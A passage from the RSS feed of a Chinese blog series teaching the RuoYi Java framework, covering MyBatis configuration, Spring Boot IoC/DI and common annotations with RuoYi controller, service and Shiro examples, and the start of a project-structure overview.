    &amp;lt;collection property=&quot;roles&quot; javaType=&quot;java.util.List&quot; resultMap=&quot;RoleResult&quot; /&amp;gt;
&amp;lt;/resultMap&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RuoYi 中的 MyBatis 配置&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# application.yml
mybatis:
  # 实体类包路径（自动扫描）
  typeAliasesPackage: com.ruoyi.**.domain
  # Mapper XML 文件位置
  mapperLocations: classpath:mapper/**/*.xml
  # MyBatis 配置文件
  configLocation: classpath:mybatis/mybatis-config.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- mybatis-config.xml --&amp;gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&amp;gt;
&amp;lt;!DOCTYPE configuration
PUBLIC &quot;-//mybatis.org//DTD Config 3.0//EN&quot;
&quot;http://mybatis.org/dtd/mybatis-3-config.dtd&quot;&amp;gt;
&amp;lt;configuration&amp;gt;
    &amp;lt;settings&amp;gt;
        &amp;lt;!-- 开启驼峰命名转换 --&amp;gt;
        &amp;lt;setting name=&quot;mapUnderscoreToCamelCase&quot; value=&quot;true&quot;/&amp;gt;
        &amp;lt;!-- 开启延迟加载 --&amp;gt;
        &amp;lt;setting name=&quot;lazyLoadingEnabled&quot; value=&quot;true&quot;/&amp;gt;
        &amp;lt;!-- 设置超时时间 --&amp;gt;
        &amp;lt;setting name=&quot;defaultStatementTimeout&quot; value=&quot;25000&quot;/&amp;gt;
    &amp;lt;/settings&amp;gt;
&amp;lt;/configuration&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- MyBatis 核心标签记忆 --&amp;gt;
&amp;lt;!-- 查询 --&amp;gt;
&amp;lt;select id=&quot;selectUser&quot; resultMap=&quot;UserResult&quot;&amp;gt;
&amp;lt;!-- 插入 --&amp;gt;
&amp;lt;insert id=&quot;insertUser&quot; useGeneratedKeys=&quot;true&quot; keyProperty=&quot;userId&quot;&amp;gt;
&amp;lt;!-- 更新 --&amp;gt;
&amp;lt;update id=&quot;updateUser&quot;&amp;gt;
&amp;lt;!-- 删除 --&amp;gt;
&amp;lt;delete id=&quot;deleteUser&quot;&amp;gt;

&amp;lt;!-- 动态 SQL --&amp;gt;
&amp;lt;if test=&quot;name != null&quot;&amp;gt;AND name = #{name}&amp;lt;/if&amp;gt;
&amp;lt;where&amp;gt;...&amp;lt;/where&amp;gt;
&amp;lt;set&amp;gt;...&amp;lt;/set&amp;gt;
&amp;lt;foreach collection=&quot;array&quot; item=&quot;id&quot;&amp;gt;...&amp;lt;/foreach&amp;gt;
&amp;lt;choose&amp;gt;&amp;lt;when&amp;gt;...&amp;lt;/when&amp;gt;&amp;lt;otherwise&amp;gt;...&amp;lt;/otherwise&amp;gt;&amp;lt;/choose&amp;gt;

&amp;lt;!-- 结果映射 --&amp;gt;
&amp;lt;resultMap type=&quot;User&quot; id=&quot;UserResult&quot;&amp;gt;
    &amp;lt;id property=&quot;id&quot; column=&quot;user_id&quot;/&amp;gt;
    &amp;lt;result property=&quot;name&quot; column=&quot;user_name&quot;/&amp;gt;
    &amp;lt;association property=&quot;dept&quot; javaType=&quot;Dept&quot;/&amp;gt;
    &amp;lt;collection property=&quot;roles&quot; javaType=&quot;List&quot;/&amp;gt;
&amp;lt;/resultMap&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Mapper 接口&lt;/td&gt;
&lt;td&gt;定义数据库操作方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XML 映射&lt;/td&gt;
&lt;td&gt;编写 SQL 语句&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;#{param}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;预编译参数（防 SQL 注入）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;${param}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串替换（慎用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ResultMap&lt;/td&gt;
&lt;td&gt;字段映射配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;动态 SQL&lt;/td&gt;
&lt;td&gt;条件拼接 SQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PageHelper&lt;/td&gt;
&lt;td&gt;分页插件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-04-shiro-security/&quot;&gt;阶段四：Shiro 权限框架&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段四中，我们将深入理解 Shiro 的认证和授权机制，以及 RuoYi 是如何实现权限控制的。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段二：Spring Boot 基础与项目结构</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-02-springboot-basics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-02-springboot-basics/</guid><description>理解 Spring Boot 核心概念：IoC/DI、常用注解、自动配置原理，以及 RuoYi 中的实际应用。</description><pubDate>Mon, 07 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段二&lt;/strong&gt;，聚焦 Spring Boot 基础。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解 IoC 和依赖注入的原理&lt;/li&gt;
&lt;li&gt;掌握 Spring Boot 常用注解&lt;/li&gt;
&lt;li&gt;知道 RuoYi 是如何组织代码的&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：Spring Boot 像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Spring Boot&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IoC 容器&lt;/td&gt;
&lt;td&gt;React Context / Vue Provide-Inject&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Autowired&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;useContext()&lt;/code&gt; / &lt;code&gt;inject()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Component&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;注册全局组件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;业务逻辑层（类似 Redux actions）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Controller&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;路由处理器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Configuration&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;配置文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自动配置&lt;/td&gt;
&lt;td&gt;Vite 插件自动注入&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Spring Boot 核心概念&lt;/h2&gt;
&lt;h3&gt;1. IoC（控制反转）与 DI（依赖注入）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;传统方式&lt;/strong&gt;（自己 new 对象）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 传统方式：自己创建依赖
public class UserController {
    private UserService userService = new UserServiceImpl();  // 硬编码依赖
    
    public void getUser() {
        userService.findById(1);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Spring 方式&lt;/strong&gt;（容器管理对象）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Spring 方式：容器注入依赖
@RestController
public class UserController {
    @Autowired
    private UserService userService;  // 容器自动注入
    
    @GetMapping(&quot;/user/{id}&quot;)
    public User getUser(@PathVariable Long id) {
        return userService.findById(id);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
IoC 的核心思想：&lt;strong&gt;不要自己创建对象，让容器帮你创建和管理&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;类比前端：就像 React 的 Context，你不需要在每个组件里传递 props，而是从 Context 中获取。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2. Bean 的生命周期&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;实例化 -&amp;gt; 属性赋值 -&amp;gt; 初始化 -&amp;gt; 使用 -&amp;gt; 销毁
   ↑         ↑         ↑              ↑
   |         |         |              |
 new()   @Autowired  @PostConstruct  @PreDestroy
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Spring Boot 常用注解&lt;/h2&gt;
&lt;h3&gt;组件注解&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注解&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;RuoYi 中的使用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Component&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通用组件&lt;/td&gt;
&lt;td&gt;工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;业务逻辑层&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysUserServiceImpl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Repository&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据访问层&lt;/td&gt;
&lt;td&gt;MyBatis Mapper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Controller&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;控制器层&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysUserController&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@RestController&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;REST 控制器&lt;/td&gt;
&lt;td&gt;返回 JSON 的接口&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;依赖注入注解&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注解&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Autowired&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按类型自动注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Qualifier&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;按名称指定注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Resource&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JSR-250 标准注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;注入配置文件值&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Web 注解&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注解&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@RequestMapping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通用请求映射&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@GetMapping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;GET 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@PostMapping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;POST 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@PutMapping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;PUT 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@DeleteMapping&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DELETE 请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@PathVariable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;路径参数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@RequestParam&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查询参数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@RequestBody&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;请求体&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;RuoYi 中的实际应用&lt;/h2&gt;
&lt;h3&gt;Controller 层示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/system/SysUserController.java
package com.ruoyi.web.controller.system;

import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.system.domain.SysUser;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户信息
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping(&quot;/system/user&quot;)
public class SysUserController extends BaseController {
    private String prefix = &quot;system/user&quot;;

    @Autowired
    private ISysUserService userService;

    @RequiresPermissions(&quot;system:user:view&quot;)
    @GetMapping()
    public String user() {
        return prefix + &quot;/user&quot;;
    }

    @RequiresPermissions(&quot;system:user:list&quot;)
    @PostMapping(&quot;/list&quot;)
    @ResponseBody
    public TableDataInfo list(SysUser user) {
        startPage();
        List&amp;lt;SysUser&amp;gt; list = userService.selectUserList(user);
        return getDataTable(list);
    }

    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.INSERT)
    @RequiresPermissions(&quot;system:user:add&quot;)
    @PostMapping(&quot;/add&quot;)
    @ResponseBody
    public AjaxResult addSave(@Validated SysUser user) {
        return toAjax(userService.insertUser(user));
    }

    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.UPDATE)
    @RequiresPermissions(&quot;system:user:edit&quot;)
    @PostMapping(&quot;/edit&quot;)
    @ResponseBody
    public AjaxResult editSave(@Validated SysUser user) {
        return toAjax(userService.updateUser(user));
    }

    @Log(title = &quot;用户管理&quot;, businessType = BusinessType.DELETE)
    @RequiresPermissions(&quot;system:user:remove&quot;)
    @PostMapping(&quot;/remove&quot;)
    @ResponseBody
    public AjaxResult remove(String ids) {
        return toAjax(userService.deleteUserByIds(ids));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Service 层示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.system.domain.SysUser;
import com.ruoyi.system.mapper.SysUserMapper;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysUserServiceImpl implements ISysUserService {
    @Autowired
    private SysUserMapper userMapper;

    @Override
    public List&amp;lt;SysUser&amp;gt; selectUserList(SysUser user) {
        return userMapper.selectUserList(user);
    }

    @Override
    public SysUser selectUserById(Long userId) {
        return userMapper.selectUserById(userId);
    }

    @Override
    @Transactional
    public int insertUser(SysUser user) {
        // 新增用户信息
        int rows = userMapper.insertUser(user);
        // 新增用户岗位关联
        insertUserPost(user);
        // 新增用户与角色管理
        insertUserRole(user);
        return rows;
    }

    @Override
    @Transactional
    public int updateUser(SysUser user) {
        // 删除用户与角色关联
        userMapper.deleteUserRoleByUserId(user.getUserId());
        // 新增用户和角色管理
        insertUserRole(user);
        // 删除用户与岗位关联
        userMapper.deleteUserPostByUserId(user.getUserId());
        // 新增用户与岗位管理
        insertUserPost(user);
        return userMapper.updateUser(user);
    }

    @Override
    @Transactional
    public int deleteUserByIds(String ids) {
        return userMapper.deleteUserByIds(Convert.toStrArray(ids));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置类示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/framework/config/ShiroConfig.java
package com.ruoyi.framework.config;

import java.util.LinkedHashMap;
import java.util.Map;
import javax.servlet.Filter;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

/**
 * Shiro 配置
 * 
 * @author ruoyi
 */
@Configuration
public class ShiroConfig {
    
    @Bean
    public DefaultWebSecurityManager securityManager() {
        DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
        // 设置 Realm
        securityManager.setRealm(userRealm());
        return securityManager;
    }
    
    @Bean
    public ShiroFilterFactoryBean shiroFilterFactoryBean(DefaultWebSecurityManager securityManager) {
        ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean();
        factoryBean.setSecurityManager(securityManager);
        
        // 配置过滤链
        Map&amp;lt;String, String&amp;gt; filterChainDefinitionMap = new LinkedHashMap&amp;lt;&amp;gt;();
        filterChainDefinitionMap.put(&quot;/login&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/captcha/captchaImage**&quot;, &quot;anon&quot;);
        filterChainDefinitionMap.put(&quot;/**&quot;, &quot;authc&quot;);
        
        factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
        return factoryBean;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;自动配置原理&lt;/h2&gt;
&lt;p&gt;Spring Boot 的自动配置是通过 &lt;code&gt;@EnableAutoConfiguration&lt;/code&gt; 实现的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Spring Boot 启动时会扫描 META-INF/spring.factories
// 加载所有自动配置类

// 例如：DataSourceAutoConfiguration
@Configuration
@ConditionalOnClass({ DataSource.class, EmbeddedDatabaseType.class })
@EnableConfigurationProperties(DataSourceProperties.class)
public class DataSourceAutoConfiguration {
    // 自动配置数据源
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RuoYi 排除了默认的数据源自动配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@SpringBootApplication(exclude = { DataSourceAutoConfiguration.class })
public class RuoYiApplication {
    // 使用 Druid 自定义数据源
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;项目分层架构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│           Controller 层                  │
│    (接收请求、参数校验、返回响应)          │
└─────────────────┬───────────────────────┘
                  │
┌─────────────────▼───────────────────────┐
│            Service 层                    │
│    (业务逻辑、事务控制、数据组装)          │
└─────────────────┬───────────────────────┘
                  │
┌─────────────────▼───────────────────────┐
│            Mapper 层                     │
│    (数据库操作、SQL 执行)                │
└─────────────────┬───────────────────────┘
                  │
┌─────────────────▼───────────────────────┐
│           Database                       │
│    (MySQL 数据存储)                      │
└─────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RuoYi 包结构规范&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;包名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;controller&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;接收 HTTP 请求&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysUserController&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;业务逻辑接口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ISysUserService&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;service.impl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;业务逻辑实现&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysUserServiceImpl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mapper&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据库访问接口&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysUserMapper&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;domain&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;实体类&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SysUser&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;domain.vo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;视图对象&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UserVO&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;domain.dto&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据传输对象&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UserDTO&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// Spring Boot 核心注解记忆
// @SpringBootApplication - 启动类
// @RestController - REST 控制器
// @Service - 业务层
// @Repository - 数据层
// @Autowired - 自动注入
// @RequestMapping - 请求映射

// IoC 核心思想
// 不要自己 new，让容器帮你管理

// 分层架构
// Controller -&amp;gt; Service -&amp;gt; Mapper -&amp;gt; Database

// RuoYi 包结构
// com.ruoyi.system.controller
// com.ruoyi.system.service
// com.ruoyi.system.mapper
// com.ruoyi.system.domain
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IoC&lt;/td&gt;
&lt;td&gt;控制反转，对象由容器创建&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DI&lt;/td&gt;
&lt;td&gt;依赖注入，容器自动装配依赖&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bean&lt;/td&gt;
&lt;td&gt;Spring 管理的对象实例&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自动配置&lt;/td&gt;
&lt;td&gt;Spring Boot 根据依赖自动配置 Bean&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-03-mybatis-database/&quot;&gt;阶段三：MyBatis 与数据库操作&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段三中，我们将深入理解 MyBatis 的工作原理，以及 RuoYi 是如何进行数据库操作的。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段一：项目概览与环境搭建</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-01-env-setup/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-01-env-setup/</guid><description>从零开始搭建 RuoYi 开发环境，理解项目结构、Maven 配置、数据库脚本和启动流程。</description><pubDate>Mon, 07 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段一&lt;/strong&gt;，聚焦项目结构和环境搭建。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在本地成功运行 RuoYi 项目&lt;/li&gt;
&lt;li&gt;理解项目的模块划分和包结构&lt;/li&gt;
&lt;li&gt;知道每个配置文件的作用&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：RuoYi 像什么？&lt;/h2&gt;
&lt;p&gt;如果把 RuoYi 比作前端项目：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pom.xml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;package.json&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;src/main/java/com/ruoyi/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;src/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;application.yml&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; + &lt;code&gt;config.js&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RuoYiApplication.java&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main.js&lt;/code&gt; / &lt;code&gt;index.ts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sql/ry_20240629.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据库迁移脚本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Maven&lt;/td&gt;
&lt;td&gt;npm / pnpm&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;项目结构详解&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;RuoYi/
├── src/
│   ├── main/
│   │   ├── java/com/ruoyi/
│   │   │   ├── common/              # 公共模块
│   │   │   │   ├── annotation/      # 自定义注解
│   │   │   │   ├── config/          # 配置类
│   │   │   │   ├── constant/        # 常量定义
│   │   │   │   ├── core/            # 核心基类
│   │   │   │   ├── enums/           # 枚举类
│   │   │   │   ├── exception/       # 异常处理
│   │   │   │   ├── filter/          # 过滤器
│   │   │   │   └── utils/           # 工具类
│   │   │   │
│   │   │   ├── framework/           # 框架核心
│   │   │   │   ├── aspectj/         # AOP 切面
│   │   │   │   ├── config/          # 框架配置
│   │   │   │   ├── datasource/      # 数据源配置
│   │   │   │   ├── interceptor/     # 拦截器
│   │   │   │   ├── shiro/           # Shiro 安全框架
│   │   │   │   └── web/             # Web 配置
│   │   │   │
│   │   │   ├── generator/           # 代码生成器
│   │   │   │   ├── controller/      # 生成器 Controller
│   │   │   │   ├── domain/          # 生成器实体
│   │   │   │   ├── mapper/          # 生成器 Mapper
│   │   │   │   ├── service/         # 生成器 Service
│   │   │   │   └── util/            # 生成器工具
│   │   │   │
│   │   │   ├── quartz/              # 定时任务
│   │   │   │   ├── controller/      # 任务 Controller
│   │   │   │   ├── domain/          # 任务实体
│   │   │   │   ├── mapper/          # 任务 Mapper
│   │   │   │   ├── service/         # 任务 Service
│   │   │   │   └── util/            # 任务工具
│   │   │   │
│   │   │   ├── system/              # 系统模块（核心业务）
│   │   │   │   ├── controller/      # Controller 层
│   │   │   │   ├── domain/          # 实体类
│   │   │   │   ├── mapper/          # MyBatis Mapper
│   │   │   │   └── service/         # Service 层
│   │   │   │
│   │   │   └── web/                 # Web 层
